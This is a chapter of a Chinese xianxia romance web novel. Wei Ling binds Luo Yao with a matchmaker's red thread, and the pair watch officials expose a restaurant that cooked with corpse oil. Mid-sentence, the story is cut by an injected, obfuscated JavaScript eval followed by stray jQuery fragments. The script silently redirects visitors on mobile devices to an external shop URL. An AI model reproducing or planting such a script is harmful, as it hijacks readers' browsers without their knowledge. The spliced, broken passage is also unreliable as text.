“我的事情不需要向你汇报吧。”
不知从何时洛遥的每句话都带着尖锐的刺,只要面对他时就变得张扬,将每根刺都刺进心口。
洛遥像以往一样选择了漠视,只是刚走两步手上就缠上了一根红绳,扼止了脚步,“你现在不能走。”
真无聊,堂堂神君也用红绳玩小孩子家家的游戏,凭着根破绳子就想困住她?
她看着卫凌望着自己被困住的手腕,眼底似有一闪而过的惊讶,片刻后星眸中笑意浮现,实在可恨。
她用力一扯,结果,除了皮肉被勒得死死的,根本没有扯断!
.......
什么材质,这么坚韧?
她深吸一口气,克制自己不破口大骂,“你能松开吗?”
卫凌笑容灿烂,“不能。”
“......”
“你恨我也罢,正如你所说,在现场的人,谁都有嫌疑,为了找到最后的凶手,你还是跟在我身边比较好。”
果然是人善被人欺,除了闭嘴,她半句话也不想说。
定住的脚步被线的那头轻轻一扯,便扯到捏着线头的人身边,她暗戳戳想用匕首割断绳子。
卫凌像是知道她心里的所想,又扯了扯绳子把她拽得更近,“这绳子可珍贵的很,你割断了全天下也找不到第二条。”
不就是根破绳子吗?瞧着不也像是什么神兵利器。
但是卫凌珍重的态度又让她好奇这是不是什么她不知道的法宝,只至于目空一切的神君大人也心疼不已,再三叮嘱她不要破坏。
要是如此,岂不是更要破坏了——
叫他偏要用这根绳子困她!
没被困住的左手刚摸到了藏在腰间的匕首,低语便至耳际,“这是月老给我的命定姻缘红线,断了你可得负责。”
“你怎么把姻缘红线瞎捆人?”手一抖,差点把匕首吓得抖出来。
谁会把自己月老姻缘线随时带在身上啊!那丢了,坏了,岂不是活该,还想她赔一条怎么可能。
不过,这玩意随便都能拴在人身上吗?
“你不用这破玩意捆我的手,我也不会想着弄断。”
卫凌也不知何时修炼的脸皮,油盐不进,“不捆住你,转眼人就跑了,那我找谁去。”
走进城中,洛遥被红线牵着的场面实在惹人注目,四周探究的眼神不断看来,被盯得多了浑身都不自在,于是又和卫凌打起了商量,“我真不会跑,就算我跑了,你难道还追不上我。”
“再说了,这么多人像看猴耍戏一样盯着,你我都不自在。”
卫凌挑眉,“有什么不自在的,他们想看就看呗,如果你脸皮薄,我也可以提供怀抱让你躲一躲。”
“......”
不自在的只有她而已,卫凌大摇大摆的样子,反倒生怕别人看不见似的,或者说是故意在城里溜一圈,还专门逮着往人多的地方走。
西宁是个鱼龙混杂之地,两人的举动很快引起了别人的怀疑,一个男人叫住卫凌,“公子,你牵着这位姑娘,可是准备卖的?”
贼溜溜的眼珠子说话时不停往洛遥身上看,放肆地上下打量,尤其看到胸前起伏目光怎么也移不开,直到宽阔的胸膛忽然挡住视线。
“瞎了你的狗眼,你没看到这是月老红线吗?”卫凌没料到自己会被误会成人贩子,还引来了只恶心的苍蝇,心里怒火中烧。
男人被他吼得发蒙,也起了火气,“谁好人家会捆着姑娘在大街上跑,你这不就是让人看看货色如何吗?”
卫凌再也忍不住,一脚将男人踢飞出去,刚好砸在匆匆而来的府衙捕快身上,几个捕快倒作一团,纷纷拔刀扣住男人,“大胆刁民,竟然敢袭官。”
“不是啊,各位大人,是那个男人踢我,才撞到你们的,那个男人还绑住了一位姑娘在街上卖呢?我好心出言相却,却被殴打一顿呐!”
闻言几人看了过去,又朝男人踢了一脚,“胡说八道哪里有人。”
男人所指之地,空荡荡一片,哪还有人。
“...刚才还在那呢?”
几人被戏耍一顿,当即把男人推开,“真是个疯子,今天我们有要事不和你纠缠,再有下次,让你试试诏狱滋味。”
男人在地上滚了几圈,不甘心地朝刚才的方向看去,只见刚才把自己踢飞的男人正笑盈盈地看着他。
“......”什么时候又冒出来的。
“可恶,敢耍我。”
他快速从地上滚起来,刚要朝远去的捕快喊,就听见男人路过他轻声道:“真想进诏狱尽管叫,我包你进去。”
“.......”
卫凌自信的样子,竟然让他半点生不出怀疑,除了后背发凉,和他擦过的耳边也是冷飕飕。
只能像冻在原地一样,看着卫凌大摇大摆离开。
对于卫凌的恶劣,洛遥倒是已经习惯,她扯着红线朝卫凌示意,“还绑着,真想又来一个问价的人?”
“谁再敢狗叫,我打得她亲娘都不认识。”卫凌不情不愿的解开绑在洛遥那一端的红线,将剩余的线全部缠在自己手上。
洛遥揉着放松的手腕道:“西宁本就是欲念丛生的城池,往来旅客居多,几乎不见出门的女人,我们引人注意是早晚的事情。”
没了惹眼的红线,紧盯的目光果然少了不少,两人潜入人群,跟着捕快走进珍味坊。
这里早就围满了人,最早报官的也是发现珍味楼不对劲的百姓,平时昂贵的价格挡住了他们探望的步伐,而今日珍味坊无人看守,不免引起了他们的好奇心。
好奇驱使着他们走了进去,朝着香气四溢的厨房走去,哪知看到炉灶里焦黑的一具具干尸全都吓得魂飞魄散,哭爹喊娘的跑出来。
“难怪珍味坊里的饭菜吃了就跟上瘾一样,怎么也停不下来,原来里面用的油是尸油啊!”
“骇人听闻,还好我以前从未吃过,吃进去这种东西恐怕隔夜饭都得吐出来吧。”
“就是,用死人熬油,也不怕亡魂会跟着人不走。”
“......”
围观看热闹的人群有一半全都白了脸,众人心照不宣,看热闹的人风凉话像流水不停似的往外冒,直到对方表情越来越难看,脸上忍不住得意。
一具具尸体抬了出来,昔日辉煌的珍味楼被官府的封条封住,厨房里抬出的那口大锅当着众人的面被焚烧殆尽。
围观百姓一个个拍手叫好,但也有人愁眉苦脸神情莫名。
“你猜他们为什么忧愁?”
一双柔荑搭在肩膀上,紧接着是靠过来的柔嫩脸蛋,洛遥还没反应过来就被双臂紧紧圈住,无骨的身子像黏在了她身上,柔腻的气息吹拂耳侧,“可算回来了,还以为你一去不回呢?”
她全身僵硬,硬扯也没能撼动身上这条软骨美人蛇,声音也冷了下来她可没忘记背上的是个男人。
“放开。”
“不行
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14182842|145527||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,抱着很舒服。”
双臂没有半点放松,反而箍的更紧,她都快要无法呼吸。
洛水任性难缠,蛮不讲理我行我素,根本不听人话,卫凌深知她的德性,拎着后颈嫌弃地把她丢到一边。
“别一天当晚发骚,你们两个女人抱来抱去做什么。”
卫凌的眉头简直要皱成川字,站在中间将两人隔开,这是他第一次,看到两个女人站在一起心里会如此不爽。
听到卫凌的话,洛遥顿时明白,原来卫凌也不知洛水是女相男身,忍不住偷偷打量起洛水,如此含情脉脉的大美人,怎么会和男人相关呢?
实在难以想象。
察觉她的视线,洛水朝她偷偷眨了眨眼,“不抱就不抱,我和洛遥说话总行吧。”
洛水像是游蛇,转眼到了洛遥的另一侧,和卫凌将洛遥夹在中间。
“其实这些人伤心不过是因为再也吃不到珍味楼的饭菜,就算配方恶心又怎么样,哪有沉浸在欲望中的快乐让人沉迷。”
“......包括吃人?”
“他们吃的是戒不掉的瘾。”
已经上瘾人的就算一直清醒也摆脱不了控制,在毒发之时彻底沦为野兽,丧失人性,当意识无法控制瘾的欲望时,那时候会发生什么?
心中的猜测油然而生,洛遥问洛水,“这些府衙的捕快可来过珍味楼?”
洛水的眼睛一亮,似乎有些赞赏,“基本上西宁的官贵之辈都来过,不然一家独大的珍味楼怎么能,开下去呢?”
密集的眼睛神色各异,那些低着头的沉默的人,死死盯着流淌在木柴上焚烧的油,瞪大的眼珠里暗压狰狞,每一个人都像是蓄势待发的饿狼。
意外就在此刻发生,不知道谁忽然被推了一下,压到旁边一群看戏的人,一个瘦弱的身影从人群中冲进火海,双手捧住了流淌的热油。
一瞬间衣服被火点燃,可他竟毫无畏惧,将整张脸全都埋进手掌的热油中,疯狂舔舐,火舌撩动他的衣服,忽然,他的动作卡顿了下,疯狂的表情刹那凝滞。
热油顺着指缝流淌到地面,这时他才像清醒一般,痛苦哀嚎着,在地上打滚企图扑灭身上的火焰,“不是,这不是!”
回过神来的捕快骂骂咧咧,见男人痛苦哀嚎,只在一边看着,完全没有打算出手的意思,“疯子谁让你往火里窜,找死啊!”
“卫凌。”
洛遥转头看他,只见卫凌手里已经拿着凭空变出的水桶,无须过多言语,两人默契地知道了对方的打算,但也同时愣了下。
从天而降的及时雨扑灭火焰,捕快们诧异看来,“你怎么刚好有水?”
卫凌神情正经,“刚打好水准备和娘子回家,谁知凑上了这个热闹。”
几人的眼神从带着面纱的洛遥转到洛水全都掩饰不住嫉妒的嘴脸,“你小子真是好福气。”
卫凌很快明白几人误会了什么,忙揽住洛遥,“这是我娘子,那个只是外人。”
他指着洛水。
洛水咬牙望着两人亲密,一把将洛遥拉过来抱上去,“明明你才是外人,我和姐姐才是至亲。”
“你有完没完?”
要是个男的,卫凌手上的水桶已经砸到他脑门上了,偏偏是个女子,还身负重伤,但凡他有一点良知都下不去手。
洛遥还没明白怎么又被这无骨蛇缠上,就听洛水附耳轻声道:“姐姐真的不考虑下一夫一妻吗?”
“......”